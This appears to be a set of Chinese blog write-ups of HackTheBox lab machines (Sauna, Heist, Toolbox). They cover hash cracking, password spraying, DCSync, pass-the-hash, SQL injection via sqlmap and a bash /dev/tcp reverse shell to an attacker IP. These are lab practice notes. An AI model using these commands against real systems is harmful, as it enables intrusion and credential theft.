$ hashcat -a 0 -m 18200 hash /usr/share/wordlists/rockyou.txthashcat (v6.2.6) starting<...>Watchdog: Temperature abort trigger set to 90cHost memory required for this attack: 52 MBDictionary cache hit:* Filename..: /usr/share/wordlists/rockyou.txt* Passwords.: 14344385* Bytes.....: 139921507* Keyspace..: 14344385$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:139d477d158ddd194616ff3f5568be1a$30b7b9edf20400313d31252b04ee37223a106f79c2d7432fe6f0bf421560f31c7fc566ae368e479428ae09f12a5f86926427ac033248ff05f0ef514574ebd4721f533c79add45bd1b010903e58fb3aeca94f58333811b69ef70346ad227828e5fa36a7d54f4534c51830e7746b5ae87c75dc5c9c4813161eda621fec33235f4872488395fb674c0a154d4fe83892cb301bbaefcef1c3c4ff287e2a4f7903807d08694adcf89d7eb820afaf3ab45440ff68b1bb99385cc8ded853bce4908e7b1e1d669d9f82aca5020be559f060559e78828f3f33c48a4051aef7b8316caa375498b544290d032baf45db2d62e0779ee44f9fb0589ec46f44418ecc0399b16703:Thestrokes23                                                          Session..........: hashcatStatus...........: CrackedHash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:139d477...b16703Time.Started.....: Sat Mar 22 16:45:56 2025 (2 secs)Time.Estimated...: Sat Mar 22 16:45:58 2025 (0 secs)Kernel.Feature...: Pure KernelGuess.Base.......: File (/usr/share/wordlists/rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........:  7849.5 kH/s (9.73ms) @ Accel:1024 Loops:1 Thr:32 Vec:1Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)Progress.........: 10616832/14344385 (74.01%)Rejected.........: 0/10616832 (0.00%)Restore.Point....: 10420224/14344385 (72.64%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#1....: aaron822 -> Saboka54Hardware.Mon.#1..: Temp: 44c Util: 50% Core:1771MHz Mem:3504MHz Bus:8Started: Sat Mar 22 16:45:43 2025Stopped: Sat Mar 22 16:45:59 2025

使用evil-winrm 登录目标

$ evil-winrm -i 10.10.10.175 -u fsmith  -p Thestrokes23                                         Evil-WinRM shell v3.7<...>                                       Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\FSmith\Documents> *Evil-WinRM* PS C:\Users\FSmith\desktop> dir    Directory: C:\Users\FSmith\desktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---        3/22/2025   6:49 AM             34 user.txt

权限提升

上传winPEASany.exe并运行。可以找到凭证

*Evil-WinRM* PS C:\Users\FSmith\Documents> .\winPEASany.exeANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMDLong paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD<...>ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials    Some AutoLogon credentials were found    DefaultDomainName             :  EGOTISTICALBANK    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager    DefaultPassword               :  Moneymakestheworldgoround!ÉÍÍÍÍÍÍÍÍÍ͹ Password Policies<...>

使用Bloodhound分析域信息

$ bloodhound-python   -u fsmith  -p Thestrokes23  -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175  -c all --zipINFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)INFO: Found AD domain: egotistical-bank.localINFO: Getting TGT for userWARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (SAUNA.EGOTISTICAL-BANK.LOCAL:88)] [Errno -2] Name or service not knownINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 1 computersINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Found 7 usersINFO: Found 52 groupsINFO: Found 3 gposINFO: Found 1 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Done in 00M 36SINFO: Compressing output into 20250322171023_bloodhound.zip

DCsync attack

使用impacket-secretsdump 进行DCSync attack 

$ impacket-secretsdump  'EGOTISTICAL-BANK/svc_loanmgr@10.10.10.175'  -just-dc-user Administrator Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies Password:[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4eAdministrator:des-cbc-md5:fb8f321c64cea87f[*] Cleaning up...

使用impacket-psexec 登录目标，获得系统权限

$ impacket-psexec 'EGOTISTICAL-BANK/Administrator@10.10.10.175' -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on 10.10.10.175.....[*] Found writable share ADMIN$[*] Uploading file eVKpxetW.exe[*] Opening SVCManager on 10.10.10.175.....[*] Creating service dRDK on 10.10.10.175.....[*] Starting service dRDK.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.17763.973](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoamint authority\system
FlagPath
Flag1C:\Users\FSmith\Desktop\user.txt
Flag2C:\Users\Administrator\Desktop\root.txt
]]> <style>.crvsbelxtpbn{zoom:50%;}</style><img src="/posts/5551a214/f31d5d0264fadc267e7f38a9d7729d14.png" class="crvsbelxtpbn"> HTB-Heist https://ry0ma24.github.io/posts/4a8e4133.html 2025-03-22T04:02:00.000Z 2025-04-25T08:44:00.916Z .cpslxwpbrurp{zoom:50%;}
OSDifficulty
WindowsEasy

Nmap Scan

$ nmap 10.10.10.149 -sC -sV -p- -T4 --min-rate 1000                 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 12:02 CSTNmap scan report for 10.10.10.149Host is up (0.11s latency).Not shown: 65530 filtered tcp ports (no-response)PORT      STATE SERVICE       VERSION80/tcp    open  http          Microsoft IIS httpd 10.0| http-methods: |_  Potentially risky methods: TRACE| http-title: Support Login Page|_Requested resource was login.php|_http-server-header: Microsoft-IIS/10.0| http-cookie-flags: |   /: |     PHPSESSID: |_      httponly flag not set135/tcp   open  msrpc         Microsoft Windows RPC445/tcp   open  microsoft-ds?5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049669/tcp open  msrpc         Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time: |   date: 2025-03-22T03:46:41|_  start_date: N/A| smb2-security-mode: |   3:1:1: |_    Message signing enabled but not required|_clock-skew: -18m26sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 217.07 seconds

添加本地域名解析

$ echo '10.10.10.149  heist.htb' | sudo tee -a /etc/hosts

访问80 端口，点击guest登录

点击Attachment，跳转到http://heist.htb/attachments/config.txt

可以获取到用户名和密码hash

version 12.2no service padservice password-encryption!isdn switch-type basic-5ess!hostname ios-1!security passwords min-length 12enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91!username rout3r password 7 0242114B0E143F015F5D1E161713username admin privilege 15 password 7 02375012182C1A1D751618034F36415408!!ip ssh authentication-retries 5ip ssh version 2!!router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected!ip classlessip route 0.0.0.0 0.0.0.0 192.168.0.1!!access-list 101 permit ip any anydialer-list 1 protocol ip list 101!no ip http serverno ip http secure-server!line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh

密码破解

破解password7 https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html

使用hashid 识别hash 类型然后使用hashcat 破解

$ hashid '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'Analyzing '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'[+] MD5 Crypt [+] Cisco-IOS(MD5) [+] FreeBSD MD5 
$ hashcat -a 0 -m 500  hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting<...>$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent                                                                        Session..........: hashcatStatus...........: CrackedHash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91Time.Started.....: Sat Mar 22 12:30:30 2025 (13 secs)Time.Estimated...: Sat Mar 22 12:30:43 2025 (0 secs)Kernel.Feature...: Pure KernelGuess.Base.......: File (/usr/share/wordlists/rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........:   267.4 kH/s (7.34ms) @ Accel:128 Loops:125 Thr:32 Vec:1Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)Progress.........: 3563520/14344385 (24.84%)Rejected.........: 0/3563520 (0.00%)Restore.Point....: 3538944/14344385 (24.67%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000Candidate.Engine.: Device GeneratorCandidates.#1....: stefy06 -> ssrssr1978Hardware.Mon.#1..: Temp: 49c Util: 65% Core:1771MHz Mem:3504MHz Bus:8Started: Sat Mar 22 12:30:29 2025Stopped: Sat Mar 22 12:30:45 2025                                                                     
rout3r: 0242114B0E143F015F5D1E161713($uperP@ssword)admin: 02375012182C1A1D751618034F36415408(Q4)sJu\Y8qz*A3?d)hazard：$1$pdQG$o8nrSzsGXeaduXrjlvKc91(stealth1agent)

枚举用户

使用netexec 和凭证枚举用户

$ netexec smb heist.htb  -u "hazard" -p "stealth1agent" --rid-brute SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent SMB         10.10.10.149    445    SUPPORTDESK      500: SUPPORTDESK\Administrator (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      501: SUPPORTDESK\Guest (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      503: SUPPORTDESK\DefaultAccount (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      513: SUPPORTDESK\None (SidTypeGroup)SMB         10.10.10.149    445    SUPPORTDESK      1008: SUPPORTDESK\Hazard (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      1009: SUPPORTDESK\support (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      1012: SUPPORTDESK\Chase (SidTypeUser)SMB         10.10.10.149    445    SUPPORTDESK      1013: SUPPORTDESK\Jason (SidTypeUser)

winrm 爆破

目标开放了5985 将收集到的所有用户和口令对winrm 进行爆破

$ netexec winrm heist.htb  -u user.txt -p pass.txt --continue-on-success WINRM       10.10.10.149    5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)WINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\admin:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\hazard:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Administrator:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Chase:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Jason:$uperP@sswordWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?dWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?dWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?dWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?dWINRM       10.10.10.149    5985   SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)WINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?dWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agentWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\admin:stealth1agentWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\hazard:stealth1agentWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Administrator:stealth1agentWINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\Jason:stealth1agent

使用evil-winrm 登录用户

$ evil-winrm -i 10.10.10.149 -u Chase  -p 'Q4)sJu\Y8qz*A3?d'                                        Evil-WinRM shell v3.7                                        Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                        Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                        Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Chase\Documents> whoamisupportdesk\chase*Evil-WinRM* PS C:\Users\Chase\Desktop> dir    Directory: C:\Users\Chase\DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----a----        4/22/2019   9:08 AM            121 todo.txt-ar---        3/22/2025   9:08 AM             34 user.txt

权限提升

查看进程，发现firefox 

*Evil-WinRM* PS C:\Users\Chase> psHandles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------    454      17     2264       5332               364   0 csrss    291      13     2288       5168               480   1 csrss    357      15     3480      14584              2468   1 ctfmon    252      14     3936      13428              3832   0 dllhost    166       9     1824       9748       0.02   6648   1 dllhost    615      32    30096      57836               980   1 dwm   1489      57    23924      78568              5088   1 explorer   1053      69   143248     219100       2.95   6300   1 firefox    347      19    10232      39812       0.03   6408   1 firefox    401      33    31456      90444       0.34   6560   1 firefox    378      28    22220      59020       0.16   6836   1 firefox    355      25    16376      38944       0.05   7116   1 firefox     49       6     1516       3872               788   0 fontdrvhost     49       6     1804       4648               796   1 fontdrvhost      0       0       56          8                 0   0 Idle    <...>    342      16     8352      18156              3972   0 WmiPrvSE   2264      28    89968     107400       0.70   3004   0 wsmprovhost

上传procdump64.exe 和strings64.exe 对firefox 进行dump

*Evil-WinRM* PS C:\Users\Chase> .\procdump64.exe -accepteula -ma 6408ProcDump v11.0 - Sysinternals process dump utilityCopyright (C) 2009-2022 Mark Russinovich and Andrew RichardsSysinternals - www.sysinternals.com[11:07:56] Dump 1 initiated: C:\Users\Chase\firefox.exe_250322_110756.dmp[11:07:56] Dump 1 writing: Estimated dump file size is 289 MB.[11:07:57] Dump 1 complete: 289 MB written in 1.1 seconds[11:07:58] Dump count reached.*Evil-WinRM* PS C:\Users\Chase> .\strings64.exe -accepteula firefox.exe_250322_110756.dmp > firefox.exe_250322_110756.txt *Evil-WinRM* PS C:\Users\Chase> findstr "password" ./firefox.exe_250322_110756.txtMOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=                  MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=                  RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=browser.safebrowsing.passwords.enabled    <...>

使用获取到的密码登录目标，获取到管理员权限

$ evil-winrm -i heist.htb -u administrator  -p '4dD!5}x/re8]FBuZ'                                          Evil-WinRM shell v3.7                                        Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                        Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                        Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..<...>*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir    Directory: C:\Users\Administrator\DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---        3/22/2025   9:08 AM             34 root.txt
FlagPath
Flag1C:\Users\Chase\Desktop\user.txt
Flag2C:\Users\Administrator\Desktop\root.txt
]]> <style>.cpslxwpbrurp{zoom:50%;}</style><img src="/posts/4a8e4133/131dbaba68b169bd5ff59ac09420b09f.png" class="cpslxwpbrurp"> HTB-Toolbox https://ry0ma24.github.io/posts/96a67a56.html 2025-03-21T15:36:00.000Z 2025-04-25T08:44:00.919Z .cqdgcwqinmrf{zoom:50%;}
OSDifficulty
WindowsEasy

Nmap Scan

$ nmap 10.10.10.236 -sC -sV -p- -T4 --min-rate 1000 -e  tun0Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 23:36 CSTWarning: 10.10.10.236 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.10.236Host is up (0.18s latency).Not shown: 65521 closed tcp ports (reset)PORT      STATE SERVICE       VERSION21/tcp    open  ftp           FileZilla ftpd 0.9.60 beta| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe| ftp-syst: |_  SYST: UNIX emulated by FileZilla22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)| ssh-hostkey: |   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)135/tcp   open  msrpc         Microsoft Windows RPC139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)| tls-alpn: |_  http/1.1|_ssl-date: TLS randomness does not represent time|_http-title: MegaLogistics| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR| Not valid before: 2020-02-18T17:45:56|_Not valid after:  2021-02-17T17:45:56445/tcp   open  microsoft-ds?5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.047001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open  msrpc         Microsoft Windows RPC49665/tcp open  msrpc         Microsoft Windows RPC49666/tcp open  msrpc         Microsoft Windows RPC49667/tcp open  msrpc         Microsoft Windows RPC49668/tcp open  msrpc         Microsoft Windows RPC49669/tcp open  msrpc         Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time: |   date: 2025-03-21T15:20:37|_  start_date: N/A|_clock-skew: -18m24s| smb2-security-mode: |   3:1:1: |_    Message signing enabled but not requiredService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 180.71 seconds

在443端口发现admin.megalogistic.com，添加本地域名解析

$ echo '10.10.10.236  admin.megalogistic.com' | sudo tee -a /etc/hosts

ftp 允许匿名登录，登录后可以发现 docker-toolbox.exe

$ ftp 10.10.10.236 Connected to 10.10.10.236.220-FileZilla Server 0.9.60 beta220-written by Tim Kosse (tim.kosse@filezilla-project.org)220 Please visit https://filezilla-project.org/Name (10.10.10.236:kali): Anonymous331 Password required for anonymousPassword: 230 Logged onRemote system type is UNIX.Using binary mode to transfer files.ftp> dir229 Entering Extended Passive Mode (|||55341|)150 Opening data channel for directory listing of "/"-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe226 Successfully transferred "/"ftp> get docker-toolbox.exelocal: docker-toolbox.exe remote: docker-toolbox.exe229 Entering Extended Passive Mode (|||63234|)150 Opening data channel for file download from server of "/docker-toolbox.exe"100% |*****************************************************|   231 MiB  617.76 KiB/s    00:00 ETA226 Successfully transferred "/docker-toolbox.exe"242520560 bytes received in 06:23 (617.76 KiB/s)

SQL注入

访问admin.megalogistic.com，使用burp 抓取登录数据，使用sqlmap测试，存在sql注入

POST / HTTP/1.1Host: admin.megalogistic.comCookie: PHPSESSID=21c7525f49e68a4f7653422a03ddecfeContent-Length: 35Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Accept-Language: en-US,en;q=0.9Origin: https://admin.megalogistic.comContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://admin.megalogistic.com/Accept-Encoding: gzip, deflate, brPriority: u=0, iConnection: keep-aliveusername=admin&password=11111111111
$ sqlmap -r megalogisic.txt --batch --force-ssl        ___       __H__ ___ ___[,]_____ ___ ___  {1.9.2#stable}|_ -| . [.]     | .'| . ||___|_  [']_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:56:30 /2025-03-21/[23:56:30] [INFO] parsing HTTP request from 'megalogisic.txt'[23:56:30] [INFO] testing connection to the target URL<...>[23:57:59] [INFO] target URL appears to be UNION injectable with 2 columnsinjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] YPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:---Parameter: username (POST)    Type: boolean-based blind    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)    Payload: username=admin' AND (SELECT (CASE WHEN (1444=1444) THEN NULL ELSE CAST((CHR(86)||CHR(88)||CHR(110)||CHR(75)) AS NUMERIC) END)) IS NULL AND 'iHTD'='iHTD&password=11111111111    Type: error-based    Title: PostgreSQL AND error-based - WHERE or HAVING clause    Payload: username=admin' AND 9042=CAST((CHR(113)||CHR(113)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (9042=9042) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC) AND 'wDZN'='wDZN&password=11111111111    Type: stacked queries    Title: PostgreSQL > 8.1 stacked queries (comment)    Payload: username=admin';SELECT PG_SLEEP(5)--&password=11111111111    Type: time-based blind    Title: PostgreSQL > 8.1 AND time-based blind    Payload: username=admin' AND 2617=(SELECT 2617 FROM PG_SLEEP(5)) AND 'AtXQ'='AtXQ&password=11111111111---[23:58:12] [INFO] the back-end DBMS is PostgreSQLweb server operating system: Linux Debian 10 (buster)web application technology: PHP 7.3.14, Apache 2.4.38back-end DBMS: PostgreSQL[23:58:17] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'[*] ending @ 23:58:17 /2025-03-21/

找到admin用户

$ sqlmap -r megalogisic.txt --batch --force-ssl --dbms PostgreSQL --dump        ___       __H__ ___ ___[,]_____ ___ ___  {1.9.2#stable}|_ -| . [(]     | .'| . ||___|_  [,]_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:59:23 /2025-03-21/[23:59:23] [INFO] parsing HTTP request from 'megalogisic.txt'<...>[23:59:41] [WARNING] no clear password(s) found                                                  Database: publicTable: users[1 entry]+----------------------------------+----------+| password                         | username |+----------------------------------+----------+| 4a100a85cb5ca3616dcf137918550815 | admin    |+----------------------------------+----------+[23:59:41] [INFO] table 'public.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/admin.megalogistic.com/dump/public/users.csv'[23:59:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'[*] ending @ 23:59:41 /2025-03-21/

使用 –os-shell 直接反弹shell bash -c ' bash -i &>/dev/tcp/10.10.16.39/9003 <&1'

$ sqlmap -r megalogisic.txt  --force-ssl --dbms PostgreSQL --os-shell         ___       __H__ ___ ___[(]_____ ___ ___  {1.9.2#stable}|_ -| . [']     | .'| . ||___|_  ["]_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 00:00:38 /2025-03-22/[00:00:38] [INFO] parsing HTTP request from 'megalogisic.txt'<...>os-shell> whoamido you want to retrieve the command standard output? [Y/n/a] Y[00:01:47] [INFO] retrieved: 'postgres'command standard output: 'postgres'os-shell> iddo you want to retrieve the command standard output? [Y/n/a] Y[00:02:01] [INFO] retrieved: 'uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-...command standard output: 'uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)'os-shell> bash -c ' bash -i &>/dev/tcp/10.10.16.39/9003 <&1'do you want to retrieve the command standard output? [Y/n/a] n

信息收集

成功接收到shell，查看内核信息，系统是boot2docker

$ nc -lnvp 9003listening on [any] 9003 ...connect to [10.10.16.39] from (UNKNOWN) [10.10.10.236] 49945bash: cannot set terminal process group (524): Inappropriate ioctl for devicebash: no job control in this shellpostgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ididuid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)postgres@bc56e3cc55e9:/var/lib/postgresql$ ifconfig ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)        RX packets 3446  bytes 686371 (670.2 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 3502  bytes 1260682 (1.2 MiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<...>postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ uname -auname -aLinux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux

通过Google boot2docker 有默认用户和密码docker：tcuser，使用ssh 切换用户

postgres@bc56e3cc55e9:/$ script /dev/null -c /bin/bashscript /dev/null -c /bin/bashScript started, file is /dev/nullpostgres@bc56e3cc55e9:/$ ssh docker@172.17.0.1ssh docker@172.17.0.1docker@172.17.0.1's password: tcuser   ( '>')  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY. (/-_--_-\)           www.tinycorelinux.net

权限提升

查找可以利用的信息，可以在C:\Users\Administrator.ssh\ 下找到 id_rsa

docker@box:~$ cd /c/Users                                                      cd /c/Usersdocker@box:/c/Users$ ls                                                        lsAdministrator  Default        Public         desktop.iniAll Users      Default User   Tonydocker@box:/c/Users$ cd Administrator                                          cd Administratordocker@box:/c/Users/Administrator$ ls -la                                      ls -latotal 1437drwxrwxrwx    1 docker   staff         8192 Feb  8  2021 .dr-xr-xr-x    1 docker   staff         4096 Feb 19  2020 ..drwxrwxrwx    1 docker   staff         4096 Mar 21 15:15 .VirtualBoxdrwxrwxrwx    1 docker   staff            0 Feb 18  2020 .dockerdrwxrwxrwx    1 docker   staff            0 Feb 19  2020 .sshdr-xr-xr-x    1 docker   staff            0 Feb 18  2020 3D Objectsdrwxrwxrwx    1 docker   staff            0 Feb 18  2020 AppData<...>

复制id_rsa 到本地，赋予600 权限，ssh登录可获得管理员权限

